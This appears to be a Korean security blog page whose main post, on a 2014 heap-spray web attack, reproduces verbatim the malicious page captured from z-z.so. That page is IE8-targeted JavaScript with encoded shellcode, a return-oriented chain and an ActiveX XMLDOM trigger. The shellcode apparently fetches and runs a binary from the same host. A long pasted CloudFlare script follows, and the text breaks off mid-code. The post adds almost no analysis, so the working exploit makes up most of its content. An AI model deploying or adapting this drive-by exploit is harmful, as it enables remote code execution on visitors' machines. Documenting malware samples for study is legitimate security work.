'Javascript'에 해당되는 글 15건

  1. 2014.05.16 Web Attack: Malicious Javascript Heap Spray Generic 공격
  2. 2014.04.08 JJEncode Script Leads to Drive-By (1)
  3. 2013.11.05 Hacking through images
2014.05.16 13:26

Web Attack: Malicious Javascript Heap Spray Generic 공격

z-z.so/xml.php?q=1337


<HTML>

<BODY>

<title></title>

<SCRIPT LANGUAGE="JavaScript">

            function Suck(dword) {

                var t = unescape;

                var d = Number(dword).toString(16);

                while (d.length < 8) d = '0' + d;

                return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));

            }


           function setc() {

               var Then = new Date()

               Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3)

               document.cookie = "Cookie1=mmicrosofts;expires=" + Then.toGMTString()

           }


           function readc() {

               var cookieString = new String(document.cookie);


               if (cookieString.indexOf("mmicrosofts") == -1) {

                   return 0

               } else {

                   return 1;

               }

           }


            function FunccCalc() {

                if (readc()) return;


                ConVertData = window["unescape"];

                var mmmbc = ("Data5756Data3352Data64C9Data718BData8B30Data0C76Data768BData8B1CData085EData7E8BData8B20Data8136Data0C7FData0033Data0032DataEF75Data5F5ADataE95EData0243Data0000Data8959Data00A9Data0002Data8900Data04B9Data0002Data8900Data08B1Data0002Data8B00Data8BE9Data6AFDData590CDataDDE8Data0001DataE200Data8BF9Data0055DataC283DataEB05Data5B21Data4D8DData68FBData6E6FData0000Data7568Data6C72Data546DData8B51Data55FFDataEC8BData01C6Data8968Data0159Data41C6DataC305DataE2FFDataDAE8DataFFFFData8BFFData6AD8Data5901DataA3E8Data0001DataE200Data68F9Data0100Data0000Data858DData0101Data0000DataC750Data4085Data0002Data2500Data5041DataC750Data4485Data0002Data4400Data5441DataC741Data4885Data0002Data2500Data005CData8D00Data4085Data0002Data5000Data55FFData482CData8589Data00FCData0000Data84C7Data0105Data0001Data7500Data6470DataC761Data0584Data0105Data0000Data6574Data652EData84C7Data0905Data0001Data7800Data0065Data8B00Data3055DataC283DataEB05Data5B26Data4D8DData33FBData56F6Data8D56Data0185Data0001Data5000Data458DData5034Data5156DataFF8BData8B55DataC6ECData6801Data5989DataC601Data0541DataFFC3DataE8E2DataFFD5DataFFFFData006AData8068Data0000Data6A00Data6A03Data6A00Data6801Data01FFData001FData858DData0101Data0000DataFF50Data1455DataC00BData840FData00D4Data0000Data8589Data0230Data0000Data006AData006AData006ADataFF50Data1855Data006AData858BData0230Data0000DataFF50Data2855Data8589Data0234Data0000Data006AData858DData0238Data0000Data8B50Data3485Data0002Data5000Data858DData0260Data0000Data8B50Data3085Data0002Data5000Data55FFData8D20Data60BDData0002Data8B00Data348DData0002Data8000Data0F34Data4995DataF975Data3780Data6A95Data6A00Data6A00Data8B00Data3085Data0002Data5000Data55FFData6A18Data8D00Data3885Data0002Data5000Data858BData0234Data0000Data8D50Data6085Data0002Data5000Data858BData0230Data0000DataFF50Data2455Data858BData0230Data0000DataFF50Data1C55Data558BData8308Data05C2Data33EBData8D5BDataFB4DData8B56DataFC85Data0000DataC600Data0085Data0001Data2200Data84C6Data0B05Data0001Data2200Data858DData0100Data0000Data5150DataFF8BData8B55DataC6ECData6801Data5989DataC601Data0541DataFFC3DataE8E2DataFFC8DataFFFFDataAD8BData0200Data0000DataBD8BData0204Data0000DataB58BData0208Data0000DataE58BDataC033Data335DDataC3DBData5551Data738BData8B3CData1E74Data0378Data56F3Data768BData0320Data33F3Data49C9DataAD41DataC303DataED33DataBE0FData3A10Data74D6DataC108Data07CDDataEA03DataEB40Data3BF1Data752FData5EE7Data6E8BData0324Data66EBData4C8BData004DData6E8BData031CData8BEBData8D44Data0300DataABC3Data595DDataE8C3DataFDB8DataFFFFData7432Data0C91DataE239Data837DData2F51Data01A2Data65A0DataCB97Data8963Data4FD1Data3293Data94E4DataBE43DataDBACData6657DataFF0DData36B2Data130FData8DC4Data741FData138EDataAC0AData730DDataFD1BDataD680Data9AAFData7468Data7074Data2F3AData7A2FData7A2DData732EData2F6FData2F2FData6573Data7672Data7265Data622FData6E69Data7261Data2F79Data6962Data616EData7972Data642EData7462Data0000Data0000Data0000Data0000Data0000Data0000");

                var xbc = ConVertData(mmmbc["replace"](/Data/g, "%u"));

                var a = new Array();

                var ls = 0x100000 - (xbc.length * 2 + 0x01020);

                var bc = Suck(0x1c1c1c0c);

                var pad = Suck(0x1c1c1c0c);

                while (pad.length < 0x3000) pad += pad;

                bc = pad.substring(0, (0x1c08 - 0x24) / 2);

                var language;

                if (navigator.appName == 'Netscape') language = navigator.language;

                else language = navigator.browserLanguage;


                var myStr = ("Data1c0cData1c1cDataf51aData77bcDataf519Data77bcData5ed5Data77bcDataf51aData77bcDataf51aData77bcDataf51aData77bcDataef5bData77bcDataf51aData77bcDataef5bData77bcDataf519Data77bcData1118Data77bcData3e25Data77bdData746aData77beData1ca0Data1c1cData1ca0Data1c1cData1000Data0000Data0040Data0000Data1c4cData1c1cData0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data5ed5Data77bcData9090Data9090Data9090Data9090Data9090Data9090");

                myStr = ConVertData(myStr["replace"](/Data/g, "%u"));

                bc += myStr;

                bc += xbc;

                bc += Suck(0) + Suck(0);

                var ab = 0x1c1c1c0c;

                var b = Suck(ab);

                while (b.length < 0x10000) {

                    b += b;

                }

                bc = bc + b;

                b = bc.substring(0, 0x10000 / 2);

                while (b.length < ls) {

                    b += b;

                }

                var lh = b.substring(0, ls / 2);

                delete b;

                delete pad;

                lh = lh + xbc;

                for (var i = 0; i < 0x1c0; i++)

                a[i] = lh.substr(0, lh.length);

                var obj = new ActiveXObject("Microsoft.XMLDOM");

                var covar = ("Data1c08Data1c1c");


                var src = ConVertData(covar["replace"](/Data/g, "%u"));

                while (src.length < 0x1002) src += src;

                src = "\\" + "\\x" + "xx" + src;

                src = src.substr(0, 0x1000 - 10);

                var pic = document["createElement"]("img");

                pic.src = src;

                pic["nameProp"];


                obj["definition"](1000);

                setc();

            }

            var Browser = {

                a : navigator.userAgent.toLowerCase()

            }



            Browser = {

                ie : /*@cc_on true || @*/ false,

                ie6 : Browser.a.indexOf('msie 6') != -1,

                ie7 : Browser.a.indexOf('msie 7') != -1,

                ie8 : Browser.a.indexOf('msie 8') != -1,

                opera : !!window.opera,

                safari : Browser.a.indexOf('safari') != -1,

                safari3 : Browser.a.indexOf('applewebkit/5') != -1,

                mac : Browser.a.indexOf('mac') != -1,

                chrome : Browser.a.indexOf('chrome') != -1,

                firefox : Browser.a.indexOf('firefox') != -1

            }



            function whatKindOfBrowser() {

                if (Browser.ie8) {

                    return 1;

                }

            }


            if(whatKindOfBrowser()) {

                FunccCalc();

            }


        </SCRIPT>


<script type="text/javascript">

//<![CDATA[

try{if (!window.CloudFlare) {var CloudFlare=[{verbose:0,p:1400178774,byc:0,owlid:"cf",bag2:1,mirage2:0,oracle:0,paths:{cloudflare:"/cdn-cgi/nexp/dok9v=790cacef83/"},atok:"c4c0255dbd05bf598d82b7d19e84d01f",petok:"8fc5d0583eec6276895d82397c24d2d6b640ea3f-1400214075-14400",zone:"z-z.so",rocket:"0",apps:{}}];CloudFlare.push({"apps":{"ape":"fd171ae28446e001a92b5604f99a2788"}});!function(a,b){a=document.createElement("script"),b=document.getElementsByTagName("script")[0],a.async=!0,a.src="//ajax.cloudflare.com/cdn-cgi/nexp/dok9v=97fb4d042e/cloudflare.min.js",b.parentNode.insertBefore(a,b)}()}}catch(e){};

//]]>

</script>

</BODY>

</HTML>


ajax.cloudflare.com/cdn-cgi/nexp/dok9v=97fb4d042e/cloudflare.min.js


/*! CloudFlareJS-0.1.12 Tue May 06 2014 07:33:39

 */

!function(a,b){function c(a){if(!(this instanceof c))return new c(a);if(!a||!m.isElement(a))throw new Error("A DOM element reference is required");return this.element=a,this.tokens=a.classList,this}var d={},e="0.1.11",f=a.setTimeout,g=(a.setInterval,a.clearTimeout),h=(a.clearInterval,a.encodeURIComponent),i=a.parseInt,j=(String.prototype.substring,function(){var a=b.head||b.getElementsByTagName("head")[0],c=b.createElement("style"),d=".cf-hidden { display: none; } .cf-invisible { visibility: hidden; }";return c.type="text/css",c.styleSheet?c.styleSheet.cssText=d:c.appendChild(b.createTextNode(d)),a.appendChild(c),c}(),function(){var b="undefined"!=typeof a&&a.setImmediate,c="undefined"!=typeof a&&a.postMessage&&a.addEventListener;if(b)return function(b){return a.setImmediate(b)};if(c){var d=[],e=function(){var b=a.location,c=b.origin;return c?c:b.protocol+"//"+b.hostname+(b.port?b.port:"")}();return a.addEventListener("message",function(b){var c=b.source;c!==a&&null!==c||"cf-tick"!==b.data||(b.stopPropagation(),d.length>0&&d.shift()())},!0),function(b){d.push(b),a.postMessage("cf-tick",e)}}return function(a){f(a,0)}}());d.paths={},d.paths.cloudflare="//ajax.cloudflare.com/cdn-cgi/nexp/",d.verbose=0,d.debug=0,d.disableStorage=d.byc=0,d.actionToken=d.atok=void 0,d.expireStorageBefore=d.p=void 0;var m=function(){var c={},d=c.exports={};return function(){function e(a){return"function"!=typeof a.toString&&"string"==typeof(a+"")}function f(a){a.length=0,G.length<I&&G.push(a)}function g(a,b){var c;b||(b=0),"undefined"==typeof c&&(c=a?a.length:0);var d=-1;c=c-b||0;for(var e=Array(0>c?0:c);++d<c;)e[d]=a[b+d];return e}function h(){}function i(a){function b(){if(d){var a=g(d);lb.apply(a,arguments)}if(this instanceof b){var f=l(c.prototype),a=c.apply(f,a||arguments);return u(a)?a:f}return c.apply(e,a||arguments)}var c=a[0],d=a[2],e=a[4];return wb(b,a),b}function j(a,b,c,d,h){if(c){var i=c(a);if("undefined"!=typeof i)return i}if(!u(a))return a;var k=hb.call(a);if(!W[k]||!vb.nodeClass&&e(a))return a;var l=tb[k];switch(k){case P:case Q:return new l(+a);case S:case V:return new l(a);case U:return i=l(a.source,J.exec(a)),i.lastIndex=a.lastIndex,i}if(k=xb(a),b){var m=!d;d||(d=G.pop()||[]),h||(h=G.pop()||[]);for(var n=d.length;n--;)if(d[n]==a)return h[n];i=k?l(a.length):{}}else i=k?g(a):Cb({},a);return k&&(kb.call(a,"index")&&(i.index=a.index),kb.call(a,"input")&&(i.input=a.input)),b?(d.push(a),h.push(i),(k?Bb:Eb)(a,function(a,e){i[e]=j(a,b,c,d,h)}),m&&(f(d),f(h)),i):i}function l(a){return u(a)?pb(a):{}}function m(a,b,c){if("function"!=typeof a)return D;if("undefined"==typeof b||!("prototype"in a))return a;var d=a.__bindData__;if("undefined"==typeof d&&(vb.funcNames&&(d=!a.name),d=d||!vb.funcDecomp,!d)){var e=jb.call(a);vb.funcNames||(d=!K.test(e)),d||(d=L.test(e),wb(a,d))}if(!1===d||!0!==d&&1&d[1])return a;switch(c){case 1:return function(c){return a.call(b,c)};case 2:return function(c,d){return a.call(b,c,d)};case 3:return function(c,d,e){return a.call(b,c,d,e)};case 4:return function(c,d,e,f){return a.call(b,c,d,e,f)}}return C(a,b)}function n(a){function b(){var a=j?h:this;if(e){var q=g(e);lb.apply(q,arguments)}return(f||m)&&(q||(q=g(arguments)),f&&lb.apply(q,f),m&&q.length<i)?(d|=16,n([c,o?d:-4&d,q,null,h,i])):(q||(q=arguments),k&&(c=a[p]),this instanceof b?(a=l(c.prototype),q=c.apply(a,q),u(q)?q:a):c.apply(a,q))}var c=a[0],d=a[1],e=a[2],f=a[3],h=a[4],i=a[5],j=1&d,k=2&d,m=4&d,o=8&d,p=c;return wb(b,a),b}function o(a,b,c,d,g,h){if(c){var i=c(a,b);if("undefined"!=typeof i)return!!i}if(a===b)return 0!==a||1/a==1/b;if(a===a&&!(a&&Z[typeof a]||b&&Z[typeof b]))return!1;if(null==a||null==b)return a===b;var j=hb.call(a),k=hb.call(b);if(j==N&&(j=T),k==N&&(k=T),j!=k)return!1;switch(j){case P:case Q:return+a==+b;case S:return a!=+a?b!=+b:0==a?1/a==1/b:a==+b;case U:case V:return a==b+""}if(k=j==O,!k){var l=kb.call(a,"__wrapped__"),m=kb.call(b,"__wrapped__");if(l||m)return o(l?a.__wrapped__:a,m?b.__wrapped__:b,c,d,g,h);if(j!=T||!vb.nodeClass&&(e(a)||e(b)))return!1;if(j=!vb.argsObject&&s(a)?Object:a.constructor,l=!vb.argsObject&&s(b)?Object:b.constructor,j!=l&&!(t(j)&&j instanceof j&&t(l)&&l instanceof l)&&"constructor"in a&&"constructor"in b)return!1}for(j=!g,g||(g=G.pop()||[]),h||(h=G.pop()||[]),l=g.length;l--;)if(g[l]==a)return h[l]==b;var n=0,i=!0;if(g.push(a),h.push(b),k){if(l=a.length,n=b.length,(i=n==l)||d)for(;n--;)if(k=l,m=b[n],d)for(;k--&&!(i=o(a[k],m,c,d,g,h)););else if(!(i=o(a[n],m,c,d,g,h)))break}else Db(b,function(b,e,f){return kb.call(f,e)?(n++,i=kb.call(a,e)&&o(a[e],b,c,d,g,h)):void 0}),i&&!d&&Db(a,function(a,b,c){return kb.call(c,b)?i=-1<--n:void 0});return g.pop(),h.pop(),j&&(f(g),f(h)),i}function p(a,b,c,d,e,f){var h=1&b,j=4&b,k=16&b,l=32&b;if(!(2&b||t(a)))throw new TypeError;k&&!c.length&&(b&=-17,k=c=!1),l&&!d.length&&(b&=-33,l=d=!1);var m=a&&a.__bindData__;return m&&!0!==m?(m=g(m),m[2]&&(m[2]=g(m[2])),m[3]&&(m[3]=g(m[3])),!h||1&m[1]||(m[4]=e),!h&&1&m[1]&&(b|=8),!j||4&m[1]||(m[5]=f),k&&lb.apply(m[2]||(m[2]=[]),c),l&&nb.apply(m[3]||(m[3]=[]),d),m[1]|=b,p.apply(null,m)):(1==b||17===b?i:n)([a,b,c,d,e,f])}function q(){Y.h=M,Y.b=Y.c=Y.g=Y.i="",Y.e="t",Y.j=!0;for(var a,b=0;a=arguments[b];b++)for(var c in a)Y[c]=a[c];b=Y.a,Y.d=/^[^,]+/.exec(b)[0],a=Function,b="return function("+b+"){",c=Y;var d="var n,t="+c.d+",E="+c.e+";if(!t)return E;"+c.i+";";c.b?(d+="var u=t.length;n=-1;if("+c.b+"){",vb.unindexedChars&&(d+="if(s(t)){t=t.split('')}"),d+="while(++n<u){"+c.g+";}}else{"):vb.nonEnumArgs&&(d+="var u=t.length;n=-1;if(u&&p(t)){while(++n<u){n+='';"+c.g+";}}else{"),vb.enumPrototypes&&(d+="var G=typeof t=='function';"),vb.enumErrorProps&&(d+="var F=t===k||t instanceof Error;");var e=[];if(vb.enumPrototypes&&e.push('!(G&&n=="prototype")'),vb.enumErrorProps&&e.push('!(F&&(n=="message"||n=="name"))'),c.j&&c.f)d+="var C=-1,D=B[typeof t]&&v(t),u=D?D.length:0;while(++C<u){n=D[C];",e.length&&(d+="if("+e.join("&&")+"){"),d+=c.g+";",e.length&&(d+="}"),d+="}";else if(d+="for(n in t){",c.j&&e.push("m.call(t, n)"),e.length&&(d+="if("+e.join("&&")+"){"),d+=c.g+";",e.length&&(d+="}"),d+="}",vb.nonEnumShadows){for(d+="if(t!==A){var i=t.constructor,r=t===(i&&i.prototype),f=t===J?I:t===k?j:L.call(t),x=y[f];",k=0;7>k;k++)d+="n='"+c.h[k]+"';if((!(r&&x[n])&&m.call(t,n))",c.j||(d+="||(!x[n]&&t[n]!==A[n])"),d+="){"+c.g+"}";d+="}"}return(c.b||vb.nonEnumArgs)&&(d+="}"),d+=c.c+";return E",a("d,j,k,m,o,p,q,s,v,A,B,y,I,J,L",b+d+"}")(m,R,eb,kb,H,s,xb,v,Y.f,fb,Z,ub,V,gb,hb)}function r(a){return"function"==typeof a&&ib.test(a)}function s(a){return a&&"object"==typeof a&&"number"==typeof a.length&&hb.call(a)==N||!1}function t(a){return"function"==typeof a}function u(a){return!(!a||!Z[typeof a])}function v(a){return"string"==typeof a||a&&"object"==typeof a&&hb.call(a)==V||!1}function w(a){for(var b=-1,c=zb(a),d=c.length,e=Array(d);++b<d;)e[b]=a[c[b]];return e}function x(a,b,c){var d=[];if(b=h.createCallback(b,c,3),xb(a)){c=-1;for(var e=a.length;++c<e;){var f=a[c];b(f,c,a)&&d.push(f)}}else Bb(a,function(a,c,e){b(a,c,e)&&d.push(a)});return d}function y(a,b,c){if(b=h.createCallback(b,c,3),!xb(a)){var d;return Bb(a,function(a,c,e){return b(a,c,e)?(d=a,!1):void 0}),d}c=-1;for(var e=a.length;++c<e;){var f=a[c];if(b(f,c,a))return f}}function z(a,b,c){if(b&&"undefined"==typeof c&&xb(a)){c=-1;for(var d=a.length;++c<d&&!1!==b(a[c],c,a););}else Bb(a,b,c);return a}function A(a,b,c){var d=-1,e=a?a.length:0,f=Array("number"==typeof e?e:0);if(b=h.createCallback(b,c,3),xb(a))for(;++d<e;)f[d]=b(a[d],d,a);else Bb(a,function(a,c,e){f[++d]=b(a,c,e)});return f}function B(a,b,c,d){var e=0,f=a?a.length:e;for(c=c?h.createCallback(c,d,1):D,b=c(b);f>e;)d=e+f>>>1,c(a[d])<b?e=d+1:f=d;return e}function C(a,b){return 2<arguments.length?p(a,17,g(arguments,2),null,b):p(a,1,null,null,b)}function D(a){return a}function E(){}function F(a){return function(b){return b[a]}}var G=[],H={},I=40,J=/\w*$/,K=/^\s*function[ \n\r\t]+\w/,L=/\bthis\b/,M="constructor hasOwnProperty isPrototypeOf propertyIsEnumerable toLocaleString toString valueOf".split(" "),N="[object Arguments]",O="[object Array]",P="[object Boolean]",Q="[object Date]",R="[object Error]",S="[object Number]",T="[object Object]",U="[object RegExp]",V="[object String]",W={"[object Function]":!1};W[N]=W[O]=W[P]=W[Q]=W[S]=W[T]=W[U]=W[V]=!0;var X={configurable:!1,enumerable:!1,value:null,writable:!1},Y={a:"",b:null,c:"",d:"",e:"",v:null,g:"",h:null,support:null,i:"",j:!1},Z={"boolean":!1,"function":!0,object:!0,number:!1,string:!1,undefined:!1},$=Z[typeof a]&&a||this,_=Z[typeof d]&&d&&!d.nodeType&&d,ab=Z[typeof c]&&c&&!c.nodeType&&c,bb=ab&&ab.exports===_&&_,cb=Z[typeof global]&&global;!cb||cb.global!==cb&&cb.window!==cb||($=cb);var db=[],eb=Error.prototype,fb=Object.prototype,gb=String.prototype,hb=fb.toString,ib=RegExp("^"+(hb+"").replace(/[.*+?^${}()|[\]\\]/g,"\\$&").replace(/toString| for [^\]]+/g,".*?")+"$"),jb=Function.prototype.toString,kb=fb.hasOwnProperty,lb=db.push,mb=fb.propertyIsEnumerable,nb=db.unshift,ob=function(){try{var a={},b=r(b=Object.defineProperty)&&b,c=b(a,a,a)&&b}catch(d){}return c}(),pb=r(pb=Object.create)&&pb,qb=r(qb=Array.isArray)&&qb,rb=r(rb=Object.keys)&&rb,sb=Math.max,tb={};tb[O]=Array,tb[P]=Boolean,tb[Q]=Date,tb["[object Function]"]=Function,tb[T]=Object,tb[S]=Number,tb[U]=RegExp,tb[V]=String;var ub={};ub[O]=ub[Q]=ub[S]={constructor:!0,toLocaleString:!0,toString:!0,valueOf:!0},ub[P]=ub[V]={constructor:!0,toString:!0,valueOf:!0},ub[R]=ub["[object Function]"]=ub[U]={constructor:!0,toString:!0},ub[T]={constructor:!0},function(){for(var a=M.length;a--;){var b,c=M[a];for(b in ub)kb.call(ub,b)&&!kb.call(ub[b],c)&&(ub[b][c]=!1)}}();var vb=h.support={};!function(){function a(){this.x=1}var c={0:1,length:1},d=[];a.prototype={valueOf:1,y:1};for(var e in new a)d.push(e);for(e in arguments);vb.argsClass=hb.call(arguments)==N,vb.argsObject=arguments.constructor==Object&&!(arguments instanceof Array),vb.enumErrorProps=mb.call(eb,"message")||mb.call(eb,"name"),vb.enumPrototypes=mb.call(a,"prototype"),vb.funcDecomp=!r($.k)&&L.test(function(){return this}),vb.funcNames="string"==typeof Function.name,vb.nonEnumArgs=0!=e,vb.nonEnumShadows=!/valueOf/.test(d),vb.spliceObjects=(db.splice.call(c,0,1),!c[0]),vb.unindexedChars="xx"!="x"[0]+Object("x")[0];try{vb.nodeClass=!(hb.call(b)==T&&!({toString:0}+""))}catch(f){vb.nodeClass=!0}}(1),pb||(l=function(){function a(){}return function(b){if(u(b)){a.prototype=b;var c=new a;a.prototype=null}return c||$.Object()}}());var wb=ob?function(a,b){X.value=b,ob(a,"__bindData__",X)}:E;vb.argsClass||(s=function(a){return a&&"object"==typeof a&&"number"==typeof a.length&&kb.call(a,"callee")&&!mb.call(a,"callee")||!1});var xb=qb||function(a){return a&&"object"==typeof a&&"number"==typeof a.length&&hb.call(a)==O||!1},yb=q({a:"z",e:"[]",i:"if(!(B[typeof z]))return E",g:"E.push(n)"}),zb=rb?function(a){return u(a)?vb.enumPrototypes&&"function"==typeof a||vb.nonEnumArgs&&a.length&&s(a)?yb(a):rb(a):[]}:yb,cb={a:"g,e,K",i:"e=e&&typeof K=='undefined'?e:d(e,K,3)",b:"typeof u=='number'",v:zb,g:"if(e(t[n],n,g)===false)return E"},qb={a:"z,H,l",i:"var a=arguments,b=0,c=typeof l=='number'?2:a.length;while(++b<c){t=a[b];if(t&&B[typeof t]){",v:zb,g:"if(typeof E[n]=='undefined')E[n]=t[n]",c:"}}"},Ab={i:"if(!B[typeof t])return E;"+cb.i,b:!1},Bb=q(cb),Cb=q(qb,{i:qb.i.replace(";",";if(c>3&&typeof a[c-2]=='function'){var e=d(a[--c-1],a[c--],2)}else if(c>2&&typeof a[c-1]=='function'){e=a[--c]}"),g:"E[n]=e?e(E[n],t[n]):t[n]"}),Db=q(cb,Ab,{j:!1}),Eb=q(cb,Ab);t(/x/)&&(t=function(a){return"function"==typeof a&&"[object Function]"==hb.call(a)}),h.assign=Cb,h.bind=C,h.createCallback=function(a,b,c){var d=typeof a;if(null==a||"function"==d)return m(a,b,c);if("object"!=d)return F(a);var e=zb(a),f=e[0],g=a[f];return 1!=e.length||g!==g||u(g)?function(b){for(var c=e.length,d=!1;c--&&(d=o(b[e[c]],a[e[c]],null,!0)););return d}:function(a){return a=a[f],g===a&&(0!==g||1/g==1/a)}},h.filter=x,h.forEach=z,h.forIn=Db,h.forOwn=Eb,h.keys=zb,h.map=A,h.property=F,h.toArray=function(a){return a&&"number"==typeof a.length?vb.unindexedChars&&v(a)?a.split(""):g(a):w(a)},h.values=w,h.collect=A,h.each=z,h.extend=Cb,h.select=x,h.clone=function(a,b,c,d){return"boolean"!=typeof b&&null!=b&&(d=c,c=b,b=!1),j(a,b,"function"==typeof c&&m(c,d,1))},h.find=y,h.findKey=function(a,b,c){var d;return b=h.createCallback(b,c,3),Eb(a,function(a,c,e){return b(a,c,e)?(d=c,!1):void 0}),d},h.identity=D,h.indexOf=function(a,b,c){if("number"==typeof c){var d=a?a.length:0;c=0>c?sb(0,d+c):c||0}else if(c)return c=B(a,b),a[c]===b?c:-1;a:{for(c=(c||0)-1,d=a?a.length:0;++c<d;)if(a[c]===b){a=c;break a}a=-1}return a},h.isArguments=s,h.isArray=xb,h.isElement=function(a){return a&&1===a.nodeType||!1},h.isFunction=t,h.isObject=u,h.isString=v,h.noop=E,h.sortedIndex=B,h.detect=y,h.findWhere=y,h.VERSION="2.4.1",_&&ab&&bb&&((ab.exports=h)._=h)}.call(this),c.exports}(),n=function(a,b,c,d){return d?m.forIn(a,b,c):m.forEach(a,b,c)},o=m.filter,p=m.map,q=m.extend,r=m.find,s=m.indexOf,t=m.keys,u=m.values,v=function(a,b){var c;for(c=0,l=a.length;l>c;c++)if(-1!==s(b,a[c]))return a[c];return null},w={};w.log=function(a,b){var c={};c.message=a,c.category=b,w.history.push(c)},w.replay=function(){var a=arguments.length?"number"!=typeof arguments[0]?arguments[0]:w.filter.apply(this,arguments):w.history;n(a,function(a){f(function(){var b=a.message,c=a.category;try{c&z?H(b,c,!1):a.category&y?I(b,c,!1):a.category&A?K(b.expression,b.message,c,!1):a.category&B?H(b.stack,c,!1):G(b,c,!1)}catch(d){}},0)})},w.step=function(a){var b=w.step.position||0;a=Math.max(a,0)||10,w.replay(w.history.slice(b,Math.min(b+a,w.history.length))),w.step.position=b+a<w.history.length?b+a:0},w.history=[],w.filter=function(){var a=Array.prototype.slice.call(arguments);return o(w.history,function(b){var c=!1;return b.category&&n(a,function(a){return!(c=b.category&a)}),c})};var x=1,y=2,z=4,A=8,B=16,C=32,D=64,E=128,F=256,G=function(a,b,c){if(d.verbose){try{console.log("[ CLOUDFLARE ] "+a)}catch(e){}c!==!1&&w.log(a,b|x)}},H=function(a,b,c){if(d.verbose){try{console.error("[ CLOUDFLARE ] "+a)}catch(e){G(a,b|z,!1)}c!==!1&&w.log(a,b|z)}},I=function(a,b,c){if(d.verbose){try{console.info(a)}catch(e){G(a,b|y,!1)}c!==!1&&w.log(a,b|y)}},J=function(a,b,c){if(d.verbose){try{console.trace()}catch(e){"undefined"!=typeof stackTrace?stackTrace(H,a):H(a,b|B,!1)}c!==!1&&w.log(a,b|B)}},K=function(a,b,c,d){try{console.assert(a,b)}catch(e){H("Assertion failure: "+b,c|A,!1)}d!==!1&&w.log({expression:a,message:b},c|A)},L=function(a,c,d){if(d){var e=new Date;e.setDate(e.getDate()+d)}b.cookie=a+"="+escape(c)+(d?";expires="+e.toUTCString():"")},M=function(a){a=a.replace(/([.*+?^=!:${}()|[\]\/\\])/g,"\\$1");var c=new RegExp("(?:^|;)\\s?"+a+"=(.*?)(?:;|$)","i"),d=b.cookie.match(c);return d&&unescape(d[1])},N=function(){var b,c={};try{b=a.localStorage}catch(f){}"undefined"==typeof b&&(b=function(){var a=[],b={},c={};return c.getItem=function(c){return c in b?a[b[c]].value:void 0},c.setItem=function(d,e){storable={},storable.key=d,storable.value=e,d in b?a[b[d]]=storable:b[d]=(c.length=a.push(storable))-1},c.removeItem=function(d){d in b&&a.splice(b[d],1),c.length=a.length},c.clear=function(){a=[],b={},c.length=0},c.toString=function(){return"[object FakeStorage]"},c.key=function(b){return a[b].key},c.each=function(a){return n(b,a)},c.length=0,c}());var g=function(a,d){var e;try{e=b[a].apply(b,d)}catch(f){c.purge();try{e=b[a].apply(b,d)}catch(f){H("Storage is full and purging did not free up enough space.")}}return e};return n(["key","getItem","setItem","removeItem","clear","toString"],function(a){c[a]=function(){return g(a,arguments)}}),c.each=function(a){var c;if("function"==typeof b.each)return b.each(a);if(b.length)for(var d=0;d<b.length;d++)c=b.key(d),a(c,d)},c.purge=function(){var b=d.p,f=+new Date;c.each(function(d){var g=!1;if(/^CLOUDFLARE\:\:/.test(d)&&"JSON"in a){try{var h=JSON.parse(c.getItem(d))}catch(i){G("Purging corrupted entity from cache: "+d),g=!0}h&&(b&&h.stime<=b||h.version!==e?(G("Purging outdated entity from cache: "+d),g=!0):h.ctime+h.ttl<f&&(G("Purging cache-expired entity from cache: "+d),g=!0));try{g&&c.removeItem(d)}catch(i){}}})},c}();N.purge();var O=function(a){"use strict";function b(a){return a}function c(){var b,e=[],f=F(c.prototype),g=F(d.prototype);g.promiseSend=function(){var c=J.call(arguments);e?e.push(c):a(function(){b.promiseSend.apply(b,c)})},g.valueOf=function(){return e?g:b.valueOf()};var h=function(c){return e?(b=k(c),H.call(e,function(c,d){a(function(){b.promiseSend.apply(b,d)})},void 0),e=void 0,b):void 0};return f.promise=E(g),f.resolve=h,f.reject=function(a){return h(j(a))},f}function d(a,c,e){void 0===c&&(c=function(a){return j("Promise does not support operation: "+a)});var f=F(d.prototype);return f.promiseSend=function(d,e){var f,g=J.call(arguments,2);try{f=a[d]?a[d].apply(a,g):c.apply(a,[d].concat(g))}catch(h){f=j(h)}return(e||b)(f)},e&&(f.valueOf=e),E(f)}function e(a){return a&&"function"==typeof a.promiseSend}function g(a){return!e(K(a))}function h(a){return!e(K(a))&&!i(a)}function i(a){return a=K(a),void 0===a||null===a?!1:!!a.promiseRejected}function j(a){var b={};return b.when=function(b){return b?b(a):j(a)},d(b,function(){return j(a)},function(){var b=F(j.prototype);return b.promiseRejected=!0,b.reason=a,b})}function k(a){if(e(a))return a;if(a&&"function"==typeof a.then){var b=c();return a.then(b.resolve,b.reject),b.promise}var f={};return f.when=function(){return a},f.get=function(b){return a[b]},f.put=function(b,c){return a[b]=c},f.del=function(b){return delete a[b]},f.post=function(b,c){return a[b].apply(a,c)},f.apply=function(b,c){return a.apply(b,c)},f.viewInfo=function(){for(var b=a,c={},d={};b;)Object.getOwnPropertyNames(b).forEach(function(a){c[a]||(c[a]=typeof b[a])}),b=Object.getPrototypeOf(b);return d.type=typeof a,d.properties=c,d},f.keys=function(){return G(a)},d(f,void 0,function(){return a})}function l(a,b){if(a=k(a),b){var c={};return c.viewInfo=function(){return b},d(c,function(){var b=J.call(arguments);return q.apply(void 0,[a].concat(b))},function(){return K(a)})}return q(a,"viewInfo")}function m(b,d,e){function f(a){try{return d?d(a):a}catch(b){return j(b)}}function g(a){try{return e?e(a):j(a)}catch(b){return j(b)}}var h=c(),i=!1;return a(function(){k(b).promiseSend("when",function(a){i||(i=!0,h.resolve(k(a).promiseSend("when",f,g)))},function(a){i||(i=!0,h.resolve(g(a)))})}),h.promise}function n(a,b,c){return m(a,function(a){return b.apply(void 0,a)},c)}function o(a){return function(){var b=function(a,b){var f;try{f=c[a](b)}catch(g){return I(g)?g.value:j(g)}return m(f,d,e)},c=a.apply(this,arguments),d=b.bind(b,"send"),e=b.bind(b,"throw");return d()}}function p(a){return function(b){var c=J.call(arguments,1);return q.apply(void 0,[b,a].concat(c))}}function q(b,d){var e=c(),f=J.call(arguments,2);return b=k(b),a(function(){b.promiseSend.apply(b,[d,e.resolve].concat(f))}),e.promise}function r(a){return m(a,function(a){var b=a.length;if(0===b)return k(u);var d=c();return 